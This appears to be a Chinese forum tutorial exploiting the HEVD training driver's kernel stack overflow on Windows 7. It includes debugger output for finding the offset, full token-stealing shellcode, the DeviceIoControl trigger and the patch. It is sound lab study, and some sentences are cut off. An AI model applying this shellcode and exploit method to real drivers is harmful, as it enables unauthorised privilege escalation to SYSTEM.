Windows Kernel Exploit(二) -> StackOverflow

thund**** / 2019-07-05 06:04:00 / 浏览数 5784 安全技术 二进制安全 顶(2) 踩(0)

0x00：前言

这是 Windows kernel exploit 系列的第二部分，前一篇我们讲了UAF的利用，这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ，看此文章之前你需要有以下准备：

- Windows 7 x86 sp1虚拟机
- 配置好windbg等调试工具，建议配合VirtualKD使用
- HEVD+OSR Loader配合构造漏洞环境

0x01：漏洞原理

栈溢出原理

栈溢出是系列漏洞中最为基础的漏洞，如果你是一个 pwn
选手，第一个学的就是简单的栈溢出，栈溢出的原理比较简单，我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控，导致缓冲区作为参数传入其他函数的时候可
ebp，返回地址等，如果我们精心构造好返回地址的话，程序就会按照我们指定的流程继续运行下去，原理很简单，但是实际用起来并不是那么容易的，在Windows的不断

漏洞点分析

我们在IDA中打开源码文件`StackOverflow.c`源码文件这里下载查看一下主函数`TriggerStackOverflow`，这里直接将 Size
传入`memcpy`函数中，未对它进行限制，就可能出现栈溢出的情况，另外，我们可以发现 KernelBuffer 的 Size 是 0x800

```
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
 unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
 CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

 KernelBuffer[0] = 0;
 memset(&KernelBuffer[1], 0, 0x7FCu);
 ms_exc.registration.TryLevel = 0;
 ProbeForRead(UserBuffer, 0x800u, 4u);
 DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
 DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
 DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
 DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
 DbgPrint("[+] Triggering Stack Overflow\n");
 memcpy(KernelBuffer, UserBuffer, Size);
 return 0;
}
```

我们现在差的就是偏移了，偏移的计算是在windbg中调试得到的，我们需要下两处断点来找偏移，第一处是在`TriggerStackOverflow`函数开始的地方，第二处是在函数

```
kd> bl  //■■■■■■■
    0 e Disable Clear  8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
    1 e Disable Clear  8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g  //■■
Breakpoint 1 hit  //■■■■■■■
HEVD!TriggerStackOverflow:
8c6d162a 680c080000      push    80Ch
kd> r  //■■■■■■
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000      push    80Ch
kd> dd esp  //■■■■■■■
91a03ad4  8c6d1718 0032f018 00000907 91a03afc
91a03ae4  8c6d2185 886ad948 886ad9b8 86736268
91a03af4  88815378 00000000 91a03b14 83e84593
91a03b04  88815378 886ad948 886ad948 88815378
91a03b14  91a03b34 8407899f 86736268 886ad948
```

```
91a03b24  886ad9b8 00000094 04a03bac 91a03b44
91a03b34  91a03bd0 8407bb71 88815378 86736268
91a03b44  00000000 91a03b01 44c7b400 00000002
```

上面的第一处断点可以看到返回地址是0x91a03ad4

```
kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274  91a032b4 0032f018 00000907 8c6d25be
91a03284  8c6d231a 00000800 8c6d2338 91a032b4
91a03294  8c6d23a2 00000907 8c6d23be 0032f018
91a032a4  1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4  00000000 00000000 00000000 00000000
91a032c4  00000000 00000000 00000000 00000000
91a032d4  00000000 00000000 00000000 00000000
91a032e4  00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)
```

上面的第二处断点可以看到0x91a032b4是我们memcpy的第一个参数，也就是KernelBuffer，我们需要覆盖到返回地址也就是偏移为 0x820

```
>>> hex(0x91a03ad4-0x91a032b4)
'0x820'
```

0x02：漏洞利用

利用思路

知道了偏移，我们只需要将返回地址覆盖为我们的shellcode的位置即可提权，提权的原理我在第一篇就有讲过，需要的可以参考我的第一篇，只是这里提权的代码需要考虑

```
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000      push    80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000      push    80Ch
kd> dd esp
91a3bad4  8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4  8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4  88815378 00000000 91a3bb14 83e84593
91a3bb04  88815378 885c54b8 885c54b8 88815378
91a3bb14  91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24  885c5528 00000094 04a3bbac 91a3bb44
91a3bb34  91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44  00000000 83ede201 00023300 00000002
```

当我们进入shellcode的时候，我们的ebp被覆盖为了0x41414141，为了使堆栈平衡，我们需要将ebp重新赋值为97a8fafc

```
kd>
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc              int     3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc              int     3
```

```
kd> dd esp
97a8fad4  885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4  8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4  88815378 00000000 97a8fb14 83e84593
97a8fb04  88815378 885b52f0 885b52f0 88815378
97a8fb14  97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24  885b5360 00000094 04a8fbac 97a8fb44
97a8fb34  97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44  00000000 83ede201 00023300 00000002
```

利用代码

利用思路中，我们介绍了为什么要堆栈平衡，下面是具体的shellcode部分

```
VOID ShellCode()
{
   //__debugbreak();  // ■■■■■■■■■■■■■■■windbg■■■
   __asm
   {
           pop    edi
           pop    esi
           pop    ebx
           pushad
           mov eax, fs:[124h]
           mov eax, [eax + 050h]
           mov ecx, eax
           mov edx, 4

       find_sys_pid :
                    mov eax, [eax + 0b8h]
                    sub eax, 0b8h
                    cmp[eax + 0b4h], edx
                    jnz find_sys_pid

                    mov edx, [eax + 0f8h]
                    mov[ecx + 0f8h], edx
                    popad
                    pop ebp
                    ret 8
   }
}
```

构造并调用shellcode部分

```
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);
```

具体的代码参考这里，最后提权成功

0x03：补丁思考

我们先查看源文件 StackOverflow.c 中补丁的措施，区别很明显，不安全版本的RtlCopyMemory函数中的第三个参数没有进行控制，直接将用户提供的 Size 传到了函数中，安全的补丁就是对RtlCopyMemory的参数进行严格的设置

```
#ifdef SECURE
       // Secure Note: This is secure because the developer is passing a size
       // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
       // there will be no overflow
       RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
       DbgPrint("[+] Triggering Stack Overflow\n");

       // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
       // because the developer is passing the user supplied size directly to
       // RtlCopyMemory()/memcpy() without validating if the size is greater or
       // equal to the size of KernelBuffer
       RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
```

0x04：后记

通过这次的练习感受到Windows内核中和Linux中栈溢出的区别，在Linux中，如果我们想要栈溢出，会有canary，ASLR，NX等等保护需要我们去绕过，如果平台上升到wi

上一篇：浅析php文件包含及其getshe... 下一篇：2019CISCN华南线下两道web复现

1. 1 条回复

钞sir 2019-07-22 09:51:40

师傅ddw

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板